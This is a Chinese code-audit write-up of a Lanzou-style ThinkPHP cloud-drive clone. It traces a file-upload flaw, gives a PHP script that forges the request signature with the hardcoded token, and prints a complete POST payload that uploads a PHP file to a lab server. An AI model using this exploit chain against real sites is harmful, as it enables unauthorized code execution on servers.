0x01 环境搭建
首先用phpstudy_pro创建一个网站,再将目录导入,根目录设置public
其次设置静态,小皮上面配置就行
location / {
if (!-e $request_filename) {
rewrite ^(.*)$ /index.php?s=/$1 last;
}
}
再然后创建一个库名,我这里创建的是wp,在进行导入数据库文件
配置数据库文件,这里是我两个phpstudy环境冲突,设置了半天,但是这里一定要设置localhost,我设置127.0.0.1,搞了好天都tmd不成功
在进行访问网盘,127.0.0.1:8080
0x02 代码审计
1、寻找路由
第一步,框架一定要寻找路由,thinkphp一般都是在application这个目录下,之后登录进去寻找文件
首页访问显示为recycle,那么我们就要去找recycle文件的控制器和方法
路径为:application/index/controller/recycle
2、文件上传
首先全局搜索move_uploaded_file函数,发现public/server/index.php文件引用该函数
便发现这个方法是一个protected权限来修饰
之后就要去观看这个文件被谁来调用
转到start()方法里面
那么我们来仔细观看start()里面的函数
1、这里面只接受get请求的两个参数、md和sign
2、之后便是in_array函数:in_array 是 PHP 中的一个内置函数,用于检查一个值是否存在于数组中。在这里,它用于检查 $command 变量的值是否存在于 $action 数组中。
(判断get请求的md和sign两个参数是否在数组$action和$command中)
3、之后便是判断sign值是否为空,然后在判断sign是否为真
// 允许的操作类型
$action = ['upload', 'download'];
// 执行方式
$command = $_GET['md'] ?? '';
// 签名
$sign = $_GET['sign'] ?? '';
// 操作类型不存在
if(!in_array($command,$action)){
$this->returnJson(0,'操作类型不存在');
}
if(empty($sign)){
$this->returnJson(0,'数据签名不存在');
}
if(!$this->sign_verify($_GET,$sign)){
$this->returnJson(0,'数据签名验证失败');
}
进入到switch-case语句里面,说一下这里的逻辑
1、把数组变量$command代入到switch语句中,在令$command也就是md参数等于upload进入到这个分支
2、这红框一大堆就是判断文件是否是分片上传的,如果为空他直接跳出if语句。
这里逻辑就是将大文件分成小文件进行传输
调用upload_file这个函数,这个函数我也说了,他是调用move_uplaoded_file函数进行上传的,他接收一个参数uid的值
最后这里接收一个get请求的参数notify,在将之前get的参数对upload_notify函数进行调用
这里也是用protected权限来修饰的,这串代码一个用于通过 cURL 库进行 HTTP 请求的 PHP 函数
- 该方法用于向指定的 URL 发送 HTTP 请求,并传递一组参数。
- 首先,通过调用 param) 方法生成参数签名,并将签名添加到参数数组中。
- 然后,构建请求 URL,将参数附加在 URL 后面。
- 使用 cURL 初始化一个会话句柄 $ch。
- 通过 curl_setopt 设置 cURL 会话的各种选项,包括请求的 URL、是否包含头信息、是否返回结果、SSL 验证等。
- 使用 curl_exec 执行 cURL 会话,得到请求结果。
- 最后,关闭 cURL 会话,返回请求结果。
- 综合起来,这段代码通过 cURL 发送 HTTP 请求到指定的 URL,传递了一组参数,并在请求中附加了签名。curl_init() 用于初始化 cURL 会话,而 curl_setopt() 用于设置 cURL 会话的各种选项。
- curl_setopt 是用于设置 cURL 会话选项的函数,第一个参数是 cURL 句柄,第二个参数是选项的常量,第三个参数是该选项的值。
- CURLOPT_URL 选项用于设置请求的 URL。
- CURLOPT_HEADER 用于设置是否包含头信息。
- CURLOPT_RETURNTRANSFER 用于设置是否返回结果,如果设为 1,则表示将结果作为字符串返回。
- CURLOPT_SSL_VERIFYPEER 和 CURLOPT_SSL_VERIFYHOST 用于设置 SSL 验证的相关选项,这里被设置为 FALSE 表示不验证 SSL 证书。
- curl_init():该函数用于初始化一个 cURL 会话,返回一个 cURL 句柄,后续的 cURL 操作都将使用该句柄。
- curl_setopt(request_url):用于设置 cURL 选项,其中 $ch 是 cURL 句柄,CURLOPT_URL 表示设置请求的 URL,$request_url 是具体的请求地址。
- cURL 初始化和设置选项:
- cURL 函数解释:
跟踪sign_params这个方法,他是生成一个签名的作用
- 这是一个受保护的方法,表示该方法只能在当前类及其子类中访问。
- sign_params 是方法的名称,接受一个参数 $params,表示要签名的参数。
- params, function(params) { ... }, ARRAY_FILTER_USE_KEY);
- 使用 array_filter 函数对参数进行过滤。过滤的条件是,如果参数值为空或者参数键为 'sign',则将其排除(返回 false)。
- 这样做的目的是在签名时去除空值参数和签名本身,以确保签名的准确性。
- ksort(params);
- 使用 ksort 对参数数组按照键名进行 ASCII 排序。
- 使用 reset 将数组的内部指针指向第一个元素,以确保后续处理从数组的起始位置开始。
- return md5(urldecode(http_build_query(this->config['token']);
- 使用 http_build_query 将参数数组转换为 URL-encoded 的查询字符串。
- 使用 urldecode 对查询字符串进行解码,以防止 URL 编码引起的签名不一致。
- 将解码后的查询字符串与配置文件中的 token 进行拼接。
- 最终使用 md5 哈希函数对拼接后的字符串进行 MD5 哈希,得到签名结果。
- 返回签名结果作为字符串。
总体来说,这段代码实现了一个对传入参数进行签名的功能。它首先过滤掉空值和签名参数,然后按照 ASCII 排序对参数进行排序,最后将排好序的参数通过 MD5 哈希与配置文件中的 token 进行拼接,生成最终的签名字符串。
protected function sign_params($params): string
{
// 过滤参数
$params = array_filter($params,function($key) use ($params){
if(empty($params[$key]) || $key == 'sign'){
return false;
}
return true;
},ARRAY_FILTER_USE_KEY);
// ascii排序
ksort($params);
reset($params);
// 签名
return md5(urldecode(http_build_query($params)) . $this->config['token']);
}
我们发现这里跟踪的token,其实在代码最下面定义了
至此我们优先要生成一个sign值,所以这里要扣掉sign_params这里的代码,这里$params是一个数组接收参数,并将token值进行替换
我这里细说一下构造$params的数组,需要哪些参数
这里要到上面的start方法中
1、接收md = upload 是要通过这个md参数进入到switch语句中
2、接收uid = 1,是因为他调用upload_file方法,然后复制给$info传给$upload_notify方法中
3、接收notify = htttp://127.0.0.1:8080/1.php,是因为调用$upload_notify方法,上面解释了这个方法的用处
至此该文件应写成下面将sign值进行输出,注意这里的notify的地址是可以写自己vps上的对应该文件,看日志就能找到上传的路径,在这里就不赘述了
<?php
$params=[
"md" => "upload",
"uid" => "1",
"notify"=>"http://127.0.0.1:8080/1.php"
];
$params = array_filter($params,function($key) use ($params){
if(empty($params[$key]) || $key == 'sign'){
return false;
}
return true;
},ARRAY_FILTER_USE_KEY);
// ascii排序
ksort($params);
reset($params);
// var_dump(md5(urldecode(http_build_query($params)) . $this->config['token']));
// 签名
echo md5(urldecode(http_build_query($params)) . "asdasfasfasfasfasfa");
?>
对该文件进行打印出来
最终payload:
POST /server/index.php/start?md=upload&sign=06d5e63d47eba42a7623590309da11a9&uid=1¬ify=http://127.0.0.1:8080/1.php HTTP/1.1
Host: 192.168.0.116:8080
Cache-Control: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=--------------------------570796120375390059114427
User-Agent: PostmanRuntime-ApipostRuntime/1.1.0
Content-Length: 389
----------------------------570796120375390059114427
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-httpd-php
<?php phpinfo(); ?>
----------------------------570796120375390059114427--
文件上传成功
路径:
http://192.168.0.116:8080/server/upload/20240104/1/file_iF8vZJ94Yh9pJj4L.php
0x03 写在最后
感谢0xShe、青山、冬夏师傅对本文的大力支持,祝师傅们新的一年发发发
最后帮0xShe师傅拉个票,投选吐司名人堂
https://www.t00ls.com/articles-71034.html
编号:14770
源码即可获取源码下载地址:
链接:https://pan.baidu.com/s/131Vn63asT2sP_bjZqOOZxg?pwd=0day 提取码:0day
原文始发于微信公众号(Poker安全):仿蓝奏网盘代码审计【团队招新】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论